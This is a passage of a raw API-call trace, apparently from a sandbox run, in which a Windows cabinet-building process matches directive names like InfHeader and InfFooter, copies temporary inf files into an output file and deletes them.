_Format="InfHeader%d", _ArgList=0xdef58 | out: _DstBuf="InfHeader5") returned 10 [0152.163] _strcmpi (_Str1="Cabinet", _Str2="InfHeader5") returned -6 [0152.163] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="InfHeader5") returned -6 [0152.163] _strcmpi (_Str1="CabinetNameTemplate", _Str2="InfHeader5") returned -6 [0152.163] _strcmpi (_Str1="ChecksumWidth", _Str2="InfHeader5") returned -6 [0152.163] _strcmpi (_Str1="ClusterSize", _Str2="InfHeader5") returned -6 [0152.163] _strcmpi (_Str1="Compress", _Str2="InfHeader5") returned -6 [0152.163] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="InfHeader5") returned -6 [0152.163] _strcmpi (_Str1="CompressionType", _Str2="InfHeader5") returned -6 [0152.163] _strcmpi (_Str1="CompressionLevel", _Str2="InfHeader5") returned -6 [0152.163] _strcmpi (_Str1="CompressionMemory", _Str2="InfHeader5") returned -6 [0152.163] _strcmpi (_Str1="DestinationDir", _Str2="InfHeader5") returned -5 [0152.163] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="InfHeader5") returned -5 [0152.163] _strcmpi (_Str1="DiskLabelTemplate", _Str2="InfHeader5") returned -5 [0152.163] _strcmpi (_Str1="DoNotCopyFiles", _Str2="InfHeader5") returned -5 [0152.163] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="InfHeader5") returned -3 [0152.163] _strcmpi (_Str1="FolderSizeThreshold", _Str2="InfHeader5") returned -3 [0152.163] _strcmpi (_Str1="GenerateInf", _Str2="InfHeader5") returned -2 [0152.163] _strcmpi (_Str1="InfCabinetHeader", _Str2="InfHeader5") returned -5 [0152.163] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="InfHeader5") returned -5 [0152.163] _strcmpi (_Str1="InfCommentString", _Str2="InfHeader5") returned -5 [0152.163] _strcmpi (_Str1="InfDateFormat", _Str2="InfHeader5") returned -4 [0152.163] _strcmpi (_Str1="InfDiskHeader", _Str2="InfHeader5") returned -4 [0152.163] _strcmpi (_Str1="InfDiskLineFormat", _Str2="InfHeader5") returned -4 [0152.163] _strcmpi (_Str1="InfFileHeader", _Str2="InfHeader5") returned -2 [0152.163] _strcmpi (_Str1="InfFileLineFormat", _Str2="InfHeader5") returned -2 [0152.163] _strcmpi (_Str1="InfFileName", _Str2="InfHeader5") returned -2 [0152.163] _strcmpi (_Str1="InfFooter", _Str2="InfHeader5") returned -2 [0152.163] _strcmpi (_Str1="InfFooter1", _Str2="InfHeader5") returned -2 [0152.163] _strcmpi (_Str1="InfFooter2", _Str2="InfHeader5") returned -2 [0152.163] _strcmpi (_Str1="InfFooter3", _Str2="InfHeader5") returned -2 [0152.163] _strcmpi (_Str1="InfFooter4", _Str2="InfHeader5") returned -2 [0152.163] _strcmpi (_Str1="InfHeader", _Str2="InfHeader5") returned -53 [0152.163] _strcmpi (_Str1="InfHeader1", _Str2="InfHeader5") returned -4 [0152.163] _vsnprintf (in: _DstBuf=0xdee10, _MaxCount=0x1ff, _Format="%s", _ArgList=0xded68 | out: _DstBuf=";") returned 1 [0152.164] fprintf (in: _File=0x7fefd702b10, _Format="%s\r\n" | out: _File=0x7fefd702b10) returned 71 [0152.164] _vsnprintf (in: _DstBuf=0xdf100, _MaxCount=0x1f, _Format="InfHeader%d", _ArgList=0xdef58 | out: _DstBuf="InfHeader6") returned 10 [0152.164] _vsnprintf (in: _DstBuf=0xdee10, _MaxCount=0x1ff, _Format="%s", _ArgList=0xded68 | out: _DstBuf=";") returned 1 [0152.164] fprintf (in: _File=0x7fefd702b10, _Format="%s\r\n" | out: _File=0x7fefd702b10) returned 71 [0152.164] _vsnprintf (in: _DstBuf=0xdf100, _MaxCount=0x1f, _Format="InfHeader%d", _ArgList=0xdef58 | out: _DstBuf="InfHeader7") returned 10 [0152.164] _vsnprintf (in: _DstBuf=0xdedb0, _MaxCount=0x1ff, _Format="%s", _ArgList=0xded08 | out: _DstBuf="InfHeader7") returned 10 [0152.164] malloc (_Size=0x800) returned 0x2bdb30 [0152.164] fopen (_Filename="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\inf_2128_2" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\inf_2128_2"), _Mode="rb") returned 0x7fefd702b40 [0152.164] feof (_File=0x7fefd702b40) returned 0 [0152.164] fread (in: _DstBuf=0x2bdb30, _ElementSize=0x1, _Count=0x800, _File=0x7fefd702b40 | out: _DstBuf=0x2bdb30*, _File=0x7fefd702b40) returned 0x17 [0152.164] ferror (_File=0x7fefd702b40) returned 0 [0152.164] fwrite (in: _Str=0x2bdb30*, _Size=0x1, _Count=0x17, _File=0x7fefd702b10 | out: _Str=0x2bdb30*, _File=0x7fefd702b10) returned 0x17 [0152.164] ferror (_File=0x7fefd702b10) returned 0 [0152.164] feof (_File=0x7fefd702b40) returned 16 [0152.164] fclose (in: _File=0x7fefd702b40 | out: _File=0x7fefd702b40) returned 0 [0152.164] free (_Block=0x2bdb30) [0152.164] malloc (_Size=0x800) returned 0x2bdb30 [0152.164] fopen (_Filename="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\inf_2128_3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\inf_2128_3"), _Mode="rb") returned 0x7fefd702b40 [0152.164] feof (_File=0x7fefd702b40) returned 0 [0152.164] fread (in: _DstBuf=0x2bdb30, _ElementSize=0x1, _Count=0x800, _File=0x7fefd702b40 | out: _DstBuf=0x2bdb30*, _File=0x7fefd702b40) returned 0x1e [0152.164] ferror (_File=0x7fefd702b40) returned 0 [0152.164] fwrite (in: _Str=0x2bdb30*, _Size=0x1, _Count=0x1e, _File=0x7fefd702b10 | out: _Str=0x2bdb30*, _File=0x7fefd702b10) returned 0x1e [0152.164] ferror (_File=0x7fefd702b10) returned 0 [0152.164] feof (_File=0x7fefd702b40) returned 16 [0152.165] fclose (in: _File=0x7fefd702b40 | out: _File=0x7fefd702b40) returned 0 [0152.165] free (_Block=0x2bdb30) [0152.165] malloc (_Size=0x800) returned 0x2bdb30 [0152.165] fopen (_Filename="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\inf_2128_4" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\inf_2128_4"), _Mode="rb") returned 0x7fefd702b40 [0152.165] feof (_File=0x7fefd702b40) returned 0 [0152.165] fread (in: _DstBuf=0x2bdb30, _ElementSize=0x1, _Count=0x800, _File=0x7fefd702b40 | out: _DstBuf=0x2bdb30*, _File=0x7fefd702b40) returned 0x21 [0152.165] ferror (_File=0x7fefd702b40) returned 0 [0152.165] fwrite (in: _Str=0x2bdb30*, _Size=0x1, _Count=0x21, _File=0x7fefd702b10 | out: _Str=0x2bdb30*, _File=0x7fefd702b10) returned 0x21 [0152.165] ferror (_File=0x7fefd702b10) returned 0 [0152.165] feof (_File=0x7fefd702b40) returned 16 [0152.165] fclose (in: _File=0x7fefd702b40 | out: _File=0x7fefd702b40) returned 0 [0152.165] free (_Block=0x2bdb30) [0152.165] _strcmpi (_Str1="Cabinet", _Str2="InfFooter") returned -6 [0152.165] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="InfFooter") returned -6 [0152.165] _strcmpi (_Str1="CabinetNameTemplate", _Str2="InfFooter") returned -6 [0152.165] _strcmpi (_Str1="ChecksumWidth", _Str2="InfFooter") returned -6 [0152.165] _strcmpi (_Str1="ClusterSize", _Str2="InfFooter") returned -6 [0152.165] _strcmpi (_Str1="Compress", _Str2="InfFooter") returned -6 [0152.165] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="InfFooter") returned -6 [0152.165] _strcmpi (_Str1="CompressionType", _Str2="InfFooter") returned -6 [0152.165] _strcmpi (_Str1="CompressionLevel", _Str2="InfFooter") returned -6 [0152.165] _strcmpi (_Str1="CompressionMemory", _Str2="InfFooter") returned -6 [0152.165] _strcmpi (_Str1="DestinationDir", _Str2="InfFooter") returned -5 [0152.165] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="InfFooter") returned -5 [0152.165] _strcmpi (_Str1="DiskLabelTemplate", _Str2="InfFooter") returned -5 [0152.165] _strcmpi (_Str1="DoNotCopyFiles", _Str2="InfFooter") returned -5 [0152.165] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="InfFooter") returned -3 [0152.165] _strcmpi (_Str1="FolderSizeThreshold", _Str2="InfFooter") returned -3 [0152.165] _strcmpi (_Str1="GenerateInf", _Str2="InfFooter") returned -2 [0152.165] _strcmpi (_Str1="InfCabinetHeader", _Str2="InfFooter") returned -3 [0152.165] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="InfFooter") returned -3 [0152.165] _strcmpi (_Str1="InfCommentString", _Str2="InfFooter") returned -3 [0152.166] _strcmpi (_Str1="InfDateFormat", _Str2="InfFooter") returned -2 [0152.166] _strcmpi (_Str1="InfDiskHeader", _Str2="InfFooter") returned -2 [0152.166] _strcmpi (_Str1="InfDiskLineFormat", _Str2="InfFooter") returned -2 [0152.166] _strcmpi (_Str1="InfFileHeader", _Str2="InfFooter") returned -6 [0152.166] _strcmpi (_Str1="InfFileLineFormat", _Str2="InfFooter") returned -6 [0152.166] _strcmpi (_Str1="InfFileName", _Str2="InfFooter") returned -6 [0152.166] _strcmpi (_Str1="InfFooter", _Str2="InfFooter") returned 0 [0152.166] _vsnprintf (in: _DstBuf=0xdee10, _MaxCount=0x1ff, _Format="%s", _ArgList=0xded68 | out: _DstBuf=";") returned 1 [0152.166] fprintf (in: _File=0x7fefd702b10, _Format="%s\r\n" | out: _File=0x7fefd702b10) returned 71 [0152.166] _vsnprintf (in: _DstBuf=0xdf100, _MaxCount=0x1f, _Format="InfFooter%d", _ArgList=0xdef58 | out: _DstBuf="InfFooter1") returned 10 [0152.166] _strcmpi (_Str1="Cabinet", _Str2="InfFooter1") returned -6 [0152.166] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="InfFooter1") returned -6 [0152.166] _strcmpi (_Str1="CabinetNameTemplate", _Str2="InfFooter1") returned -6 [0152.166] _strcmpi (_Str1="ChecksumWidth", _Str2="InfFooter1") returned -6 [0152.166] _strcmpi (_Str1="ClusterSize", _Str2="InfFooter1") returned -6 [0152.166] _strcmpi (_Str1="Compress", _Str2="InfFooter1") returned -6 [0152.166] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="InfFooter1") returned -6 [0152.166] _strcmpi (_Str1="CompressionType", _Str2="InfFooter1") returned -6 [0152.166] _strcmpi (_Str1="CompressionLevel", _Str2="InfFooter1") returned -6 [0152.166] _strcmpi (_Str1="CompressionMemory", _Str2="InfFooter1") returned -6 [0152.166] _strcmpi (_Str1="DestinationDir", _Str2="InfFooter1") returned -5 [0152.166] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="InfFooter1") returned -5 [0152.166] _strcmpi (_Str1="DiskLabelTemplate", _Str2="InfFooter1") returned -5 [0152.166] _strcmpi (_Str1="DoNotCopyFiles", _Str2="InfFooter1") returned -5 [0152.166] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="InfFooter1") returned -3 [0152.166] _strcmpi (_Str1="FolderSizeThreshold", _Str2="InfFooter1") returned -3 [0152.166] _strcmpi (_Str1="GenerateInf", _Str2="InfFooter1") returned -2 [0152.166] _strcmpi (_Str1="InfCabinetHeader", _Str2="InfFooter1") returned -3 [0152.166] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="InfFooter1") returned -3 [0152.166] _strcmpi (_Str1="InfCommentString", _Str2="InfFooter1") returned -3 [0152.166] _strcmpi (_Str1="InfDateFormat", _Str2="InfFooter1") returned -2 [0152.166] _strcmpi (_Str1="InfDiskHeader", _Str2="InfFooter1") returned -2 [0152.166] _strcmpi (_Str1="InfDiskLineFormat", _Str2="InfFooter1") returned -2 [0152.166] _strcmpi (_Str1="InfFileHeader", _Str2="InfFooter1") returned -6 [0152.166] _strcmpi (_Str1="InfFileLineFormat", _Str2="InfFooter1") returned -6 [0152.166] _strcmpi (_Str1="InfFileName", _Str2="InfFooter1") returned -6 [0152.166] _strcmpi (_Str1="InfFooter", _Str2="InfFooter1") returned -49 [0152.166] _strcmpi (_Str1="InfFooter1", _Str2="InfFooter1") returned 0 [0152.166] _vsnprintf (in: _DstBuf=0xdee10, _MaxCount=0x1ff, _Format="%s", _ArgList=0xded68 | out: _DstBuf=";") returned 1 [0152.167] fprintf (in: _File=0x7fefd702b10, _Format="%s\r\n" | out: _File=0x7fefd702b10) returned 71 [0152.167] _vsnprintf (in: _DstBuf=0xdf100, _MaxCount=0x1f, _Format="InfFooter%d", _ArgList=0xdef58 | out: _DstBuf="InfFooter2") returned 10 [0152.167] _strcmpi (_Str1="Cabinet", _Str2="InfFooter2") returned -6 [0152.167] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="InfFooter2") returned -6 [0152.167] _strcmpi (_Str1="CabinetNameTemplate", _Str2="InfFooter2") returned -6 [0152.167] _strcmpi (_Str1="ChecksumWidth", _Str2="InfFooter2") returned -6 [0152.167] _strcmpi (_Str1="ClusterSize", _Str2="InfFooter2") returned -6 [0152.167] _strcmpi (_Str1="Compress", _Str2="InfFooter2") returned -6 [0152.167] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="InfFooter2") returned -6 [0152.167] _strcmpi (_Str1="CompressionType", _Str2="InfFooter2") returned -6 [0152.167] _strcmpi (_Str1="CompressionLevel", _Str2="InfFooter2") returned -6 [0152.167] _strcmpi (_Str1="CompressionMemory", _Str2="InfFooter2") returned -6 [0152.167] _strcmpi (_Str1="DestinationDir", _Str2="InfFooter2") returned -5 [0152.167] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="InfFooter2") returned -5 [0152.167] _strcmpi (_Str1="DiskLabelTemplate", _Str2="InfFooter2") returned -5 [0152.167] _strcmpi (_Str1="DoNotCopyFiles", _Str2="InfFooter2") returned -5 [0152.167] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="InfFooter2") returned -3 [0152.167] _strcmpi (_Str1="FolderSizeThreshold", _Str2="InfFooter2") returned -3 [0152.167] _strcmpi (_Str1="GenerateInf", _Str2="InfFooter2") returned -2 [0152.167] _strcmpi (_Str1="InfCabinetHeader", _Str2="InfFooter2") returned -3 [0152.167] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="InfFooter2") returned -3 [0152.167] _strcmpi (_Str1="InfCommentString", _Str2="InfFooter2") returned -3 [0152.167] _strcmpi (_Str1="InfDateFormat", _Str2="InfFooter2") returned -2 [0152.167] _strcmpi (_Str1="InfDiskHeader", _Str2="InfFooter2") returned -2 [0152.167] _strcmpi (_Str1="InfDiskLineFormat", _Str2="InfFooter2") returned -2 [0152.167] _strcmpi (_Str1="InfFileHeader", _Str2="InfFooter2") returned -6 [0152.167] _strcmpi (_Str1="InfFileLineFormat", _Str2="InfFooter2") returned -6 [0152.167] _strcmpi (_Str1="InfFileName", _Str2="InfFooter2") returned -6 [0152.167] _strcmpi (_Str1="InfFooter", _Str2="InfFooter2") returned -50 [0152.167] _strcmpi (_Str1="InfFooter1", _Str2="InfFooter2") returned -1 [0152.167] _strcmpi (_Str1="InfFooter2", _Str2="InfFooter2") returned 0 [0152.167] _vsnprintf (in: _DstBuf=0xdee10, _MaxCount=0x1ff, _Format="%s", _ArgList=0xded68 | out: _DstBuf=";") returned 1 [0152.167] _vsnprintf (in: _DstBuf=0xdee17, _MaxCount=0x1f8, _Format="%s", _ArgList=0xded68 | out: _DstBuf="Sun Jun 09 15:07:08 2019") returned 24 [0152.167] fprintf (in: _File=0x7fefd702b10, _Format="%s\r\n" | out: _File=0x7fefd702b10) returned 71 [0152.167] _vsnprintf (in: _DstBuf=0xdf100, _MaxCount=0x1f, _Format="InfFooter%d", _ArgList=0xdef58 | out: _DstBuf="InfFooter3") returned 10 [0152.167] _strcmpi (_Str1="Cabinet", _Str2="InfFooter3") returned -6 [0152.167] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="InfFooter3") returned -6 [0152.167] _strcmpi (_Str1="CabinetNameTemplate", _Str2="InfFooter3") returned -6 [0152.167] _strcmpi (_Str1="ChecksumWidth", _Str2="InfFooter3") returned -6 [0152.167] _strcmpi (_Str1="ClusterSize", _Str2="InfFooter3") returned -6 [0152.167] _strcmpi (_Str1="Compress", _Str2="InfFooter3") returned -6 [0152.167] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="InfFooter3") returned -6 [0152.168] _strcmpi (_Str1="CompressionType", _Str2="InfFooter3") returned -6 [0152.168] _strcmpi (_Str1="CompressionLevel", _Str2="InfFooter3") returned -6 [0152.168] _strcmpi (_Str1="CompressionMemory", _Str2="InfFooter3") returned -6 [0152.168] _strcmpi (_Str1="DestinationDir", _Str2="InfFooter3") returned -5 [0152.168] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="InfFooter3") returned -5 [0152.168] _strcmpi (_Str1="DiskLabelTemplate", _Str2="InfFooter3") returned -5 [0152.168] _strcmpi (_Str1="DoNotCopyFiles", _Str2="InfFooter3") returned -5 [0152.168] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="InfFooter3") returned -3 [0152.168] _strcmpi (_Str1="FolderSizeThreshold", _Str2="InfFooter3") returned -3 [0152.168] _strcmpi (_Str1="GenerateInf", _Str2="InfFooter3") returned -2 [0152.168] _strcmpi (_Str1="InfCabinetHeader", _Str2="InfFooter3") returned -3 [0152.168] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="InfFooter3") returned -3 [0152.168] _strcmpi (_Str1="InfCommentString", _Str2="InfFooter3") returned -3 [0152.168] _strcmpi (_Str1="InfDateFormat", _Str2="InfFooter3") returned -2 [0152.168] _strcmpi (_Str1="InfDiskHeader", _Str2="InfFooter3") returned -2 [0152.168] _strcmpi (_Str1="InfDiskLineFormat", _Str2="InfFooter3") returned -2 [0152.168] _strcmpi (_Str1="InfFileHeader", _Str2="InfFooter3") returned -6 [0152.168] _strcmpi (_Str1="InfFileLineFormat", _Str2="InfFooter3") returned -6 [0152.168] _strcmpi (_Str1="InfFileName", _Str2="InfFooter3") returned -6 [0152.168] _strcmpi (_Str1="InfFooter", _Str2="InfFooter3") returned -51 [0152.168] _strcmpi (_Str1="InfFooter1", _Str2="InfFooter3") returned -2 [0152.168] _strcmpi (_Str1="InfFooter2", _Str2="InfFooter3") returned -1 [0152.168] _strcmpi (_Str1="InfFooter3", _Str2="InfFooter3") returned 0 [0152.168] _vsnprintf (in: _DstBuf=0xdee10, _MaxCount=0x1ff, _Format="%s", _ArgList=0xded68 | out: _DstBuf=";") returned 1 [0152.168] fprintf (in: _File=0x7fefd702b10, _Format="%s\r\n" | out: _File=0x7fefd702b10) returned 71 [0152.168] _vsnprintf (in: _DstBuf=0xdf100, _MaxCount=0x1f, _Format="InfFooter%d", _ArgList=0xdef58 | out: _DstBuf="InfFooter4") returned 10 [0152.168] _strcmpi (_Str1="Cabinet", _Str2="InfFooter4") returned -6 [0152.168] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="InfFooter4") returned -6 [0152.168] _strcmpi (_Str1="CabinetNameTemplate", _Str2="InfFooter4") returned -6 [0152.168] _strcmpi (_Str1="ChecksumWidth", _Str2="InfFooter4") returned -6 [0152.168] _strcmpi (_Str1="ClusterSize", _Str2="InfFooter4") returned -6 [0152.168] _strcmpi (_Str1="Compress", _Str2="InfFooter4") returned -6 [0152.168] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="InfFooter4") returned -6 [0152.168] _strcmpi (_Str1="CompressionType", _Str2="InfFooter4") returned -6 [0152.168] _strcmpi (_Str1="CompressionLevel", _Str2="InfFooter4") returned -6 [0152.168] _strcmpi (_Str1="CompressionMemory", _Str2="InfFooter4") returned -6 [0152.168] _strcmpi (_Str1="DestinationDir", _Str2="InfFooter4") returned -5 [0152.168] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="InfFooter4") returned -5 [0152.168] _strcmpi (_Str1="DiskLabelTemplate", _Str2="InfFooter4") returned -5 [0152.168] _strcmpi (_Str1="DoNotCopyFiles", _Str2="InfFooter4") returned -5 [0152.168] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="InfFooter4") returned -3 [0152.168] _strcmpi (_Str1="FolderSizeThreshold", _Str2="InfFooter4") returned -3 [0152.168] _strcmpi (_Str1="GenerateInf", _Str2="InfFooter4") returned -2 [0152.169] _strcmpi (_Str1="InfCabinetHeader", _Str2="InfFooter4") returned -3 [0152.169] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="InfFooter4") returned -3 [0152.169] _strcmpi (_Str1="InfCommentString", _Str2="InfFooter4") returned -3 [0152.169] _strcmpi (_Str1="InfDateFormat", _Str2="InfFooter4") returned -2 [0152.169] _strcmpi (_Str1="InfDiskHeader", _Str2="InfFooter4") returned -2 [0152.169] _strcmpi (_Str1="InfDiskLineFormat", _Str2="InfFooter4") returned -2 [0152.169] _strcmpi (_Str1="InfFileHeader", _Str2="InfFooter4") returned -6 [0152.169] _strcmpi (_Str1="InfFileLineFormat", _Str2="InfFooter4") returned -6 [0152.169] _strcmpi (_Str1="InfFileName", _Str2="InfFooter4") returned -6 [0152.169] _strcmpi (_Str1="InfFooter", _Str2="InfFooter4") returned -52 [0152.169] _strcmpi (_Str1="InfFooter1", _Str2="InfFooter4") returned -3 [0152.169] _strcmpi (_Str1="InfFooter2", _Str2="InfFooter4") returned -2 [0152.169] _strcmpi (_Str1="InfFooter3", _Str2="InfFooter4") returned -1 [0152.169] _strcmpi (_Str1="InfFooter4", _Str2="InfFooter4") returned 0 [0152.169] _vsnprintf (in: _DstBuf=0xdee10, _MaxCount=0x1ff, _Format="%s", _ArgList=0xded68 | out: _DstBuf=";") returned 1 [0152.169] fprintf (in: _File=0x7fefd702b10, _Format="%s\r\n" | out: _File=0x7fefd702b10) returned 71 [0152.169] _vsnprintf (in: _DstBuf=0xdf100, _MaxCount=0x1f, _Format="InfFooter%d", _ArgList=0xdef58 | out: _DstBuf="InfFooter5") returned 10 [0152.169] _strcmpi (_Str1="Cabinet", _Str2="InfFooter5") returned -6 [0152.169] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="InfFooter5") returned -6 [0152.169] _strcmpi (_Str1="CabinetNameTemplate", _Str2="InfFooter5") returned -6 [0152.169] _strcmpi (_Str1="ChecksumWidth", _Str2="InfFooter5") returned -6 [0152.169] _strcmpi (_Str1="ClusterSize", _Str2="InfFooter5") returned -6 [0152.169] _strcmpi (_Str1="Compress", _Str2="InfFooter5") returned -6 [0152.169] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="InfFooter5") returned -6 [0152.169] _strcmpi (_Str1="CompressionType", _Str2="InfFooter5") returned -6 [0152.169] _strcmpi (_Str1="CompressionLevel", _Str2="InfFooter5") returned -6 [0152.169] _strcmpi (_Str1="CompressionMemory", _Str2="InfFooter5") returned -6 [0152.169] _strcmpi (_Str1="DestinationDir", _Str2="InfFooter5") returned -5 [0152.169] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="InfFooter5") returned -5 [0152.169] _strcmpi (_Str1="DiskLabelTemplate", _Str2="InfFooter5") returned -5 [0152.169] _strcmpi (_Str1="DoNotCopyFiles", _Str2="InfFooter5") returned -5 [0152.169] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="InfFooter5") returned -3 [0152.169] _strcmpi (_Str1="FolderSizeThreshold", _Str2="InfFooter5") returned -3 [0152.169] _strcmpi (_Str1="GenerateInf", _Str2="InfFooter5") returned -2 [0152.169] _strcmpi (_Str1="InfCabinetHeader", _Str2="InfFooter5") returned -3 [0152.169] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="InfFooter5") returned -3 [0152.169] _strcmpi (_Str1="InfCommentString", _Str2="InfFooter5") returned -3 [0152.169] _strcmpi (_Str1="InfDateFormat", _Str2="InfFooter5") returned -2 [0152.169] _strcmpi (_Str1="InfDiskHeader", _Str2="InfFooter5") returned -2 [0152.170] _strcmpi (_Str1="InfDiskLineFormat", _Str2="InfFooter5") returned -2 [0152.170] _strcmpi (_Str1="InfFileHeader", _Str2="InfFooter5") returned -6 [0152.170] _strcmpi (_Str1="InfFileLineFormat", _Str2="InfFooter5") returned -6 [0152.170] _strcmpi (_Str1="InfFileName", _Str2="InfFooter5") returned -6 [0152.170] _strcmpi (_Str1="InfFooter", _Str2="InfFooter5") returned -53 [0152.170] _strcmpi (_Str1="InfFooter1", _Str2="InfFooter5") returned -4 [0152.170] _strcmpi (_Str1="InfFooter2", _Str2="InfFooter5") returned -3 [0152.170] _strcmpi (_Str1="InfFooter3", _Str2="InfFooter5") returned -2 [0152.170] _strcmpi (_Str1="InfFooter4", _Str2="InfFooter5") returned -1 [0152.170] _strcmpi (_Str1="InfHeader", _Str2="InfFooter5") returned 2 [0152.170] _strcmpi (_Str1="InfHeader1", _Str2="InfFooter5") returned 2 [0152.170] _strcmpi (_Str1="InfHeader2", _Str2="InfFooter5") returned 2 [0152.170] _strcmpi (_Str1="InfHeader3", _Str2="InfFooter5") returned 2 [0152.170] _strcmpi (_Str1="InfHeader4", _Str2="InfFooter5") returned 2 [0152.170] _strcmpi (_Str1="InfHeader5", _Str2="InfFooter5") returned 2 [0152.170] _strcmpi (_Str1="InfHeader6", _Str2="InfFooter5") returned 2 [0152.170] _strcmpi (_Str1="InfSectionOrder", _Str2="InfFooter5") returned 13 [0152.170] _strcmpi (_Str1="MaxCabinetSize", _Str2="InfFooter5") returned 4 [0152.170] _strcmpi (_Str1="MaxDiskFileCount", _Str2="InfFooter5") returned 4 [0152.170] _strcmpi (_Str1="MaxDiskSize", _Str2="InfFooter5") returned 4 [0152.170] _strcmpi (_Str1="MaxErrors", _Str2="InfFooter5") returned 4 [0152.170] _strcmpi (_Str1="ReservePerCabinetSize", _Str2="InfFooter5") returned 9 [0152.170] _strcmpi (_Str1="ReservePerDataBlockSize", _Str2="InfFooter5") returned 9 [0152.170] _strcmpi (_Str1="ReservePerFolderSize", _Str2="InfFooter5") returned 9 [0152.170] _strcmpi (_Str1="RptFileName", _Str2="InfFooter5") returned 9 [0152.170] _strcmpi (_Str1="SourceDir", _Str2="InfFooter5") returned 10 [0152.170] _strcmpi (_Str1="UniqueFiles", _Str2="InfFooter5") returned 12 [0152.170] _strcmpi (_Str1="DiskDirectory1", _Str2="InfFooter5") returned -5 [0152.170] _strcmpi (_Str1="CabinetName1", _Str2="InfFooter5") returned -6 [0152.170] _vsnprintf (in: _DstBuf=0xdedb0, _MaxCount=0x1ff, _Format="%s", _ArgList=0xded08 | out: _DstBuf="InfFooter5") returned 10 [0152.170] fclose (in: _File=0x7fefd702b10 | out: _File=0x7fefd702b10) returned 0 [0152.172] remove (_FileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\inf_2128_2") returned 0 [0152.172] free (_Block=0x2bc0c0) [0152.172] free (_Block=0x2ba270) [0152.172] free (_Block=0x2b97e0) [0152.172] remove (_FileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\inf_2128_3") returned 0 [0152.173] free (_Block=0x2bd390) [0152.173] free (_Block=0x2ba3f0) [0152.173] free (_Block=0x2b9800) [0152.173] remove (_FileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\inf_2128_4") returned 0 [0152.174] free (_Block=0x2bd3f0) [0152.174] free (_Block=0x2ba430) [0152.174] free (_Block=0x2b9820) [0152.174] free (_Block=0x2bbe40) [0152.174] _strcmpi (_Str1="Cabinet", _Str2="RptFileName") returned -15 [0152.174] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="RptFileName") returned -15 [0152.174] _strcmpi (_Str1="CabinetNameTemplate", _Str2="RptFileName") returned -15 [0152.174] _strcmpi (_Str1="ChecksumWidth", _Str2="RptFileName") returned -15 [0152.174] _strcmpi (_Str1="ClusterSize", _Str2="RptFileName") returned -15 [0152.174] _strcmpi (_Str1="Compress", _Str2="RptFileName") returned -15 [0152.174] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="RptFileName") returned -15 [0152.174] _strcmpi (_Str1="CompressionType", _Str2="RptFileName") returned -15 [0152.174] _strcmpi (_Str1="CompressionLevel", _Str2="RptFileName") returned -15 [0152.174] _strcmpi (_Str1="CompressionMemory", _Str2="RptFileName") returned -15 [0152.174] _strcmpi (_Str1="DestinationDir", _Str2="RptFileName") returned -14 [0152.174] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="RptFileName") returned -14 [0152.174] _strcmpi (_Str1="DiskLabelTemplate", _Str2="RptFileName") returned -14 [0152.174] _strcmpi (_Str1="DoNotCopyFiles", _Str2="RptFileName") returned -14 [0152.174] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="RptFileName") returned -12 [0152.174] _strcmpi (_Str1="FolderSizeThreshold", _Str2="RptFileName") returned -12 [0152.174] _strcmpi (_Str1="GenerateInf", _Str2="RptFileName") returned -11 [0152.174] _strcmpi (_Str1="InfCabinetHeader", _Str2="RptFileName") returned -9 [0152.174] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="RptFileName") returned -9 [0152.175] _strcmpi (_Str1="InfCommentString", _Str2="RptFileName") returned -9 [0152.175] _strcmpi (_Str1="InfDateFormat", _Str2="RptFileName") returned -9 [0152.175] _strcmpi (_Str1="InfDiskHeader", _Str2="RptFileName") returned -9 [0152.175] _strcmpi (_Str1="InfDiskLineFormat", _Str2="RptFileName") returned -9 [0152.175] _strcmpi (_Str1="InfFileHeader", _Str2="RptFileName") returned -9 [0152.175] _strcmpi (_Str1="InfFileLineFormat", _Str2="RptFileName") returned -9 [0152.175] _strcmpi (_Str1="InfFileName", _Str2="RptFileName") returned -9 [0152.175] _strcmpi (_Str1="InfFooter", _Str2="RptFileName") returned -9 [0152.175] _strcmpi (_Str1="InfFooter1", 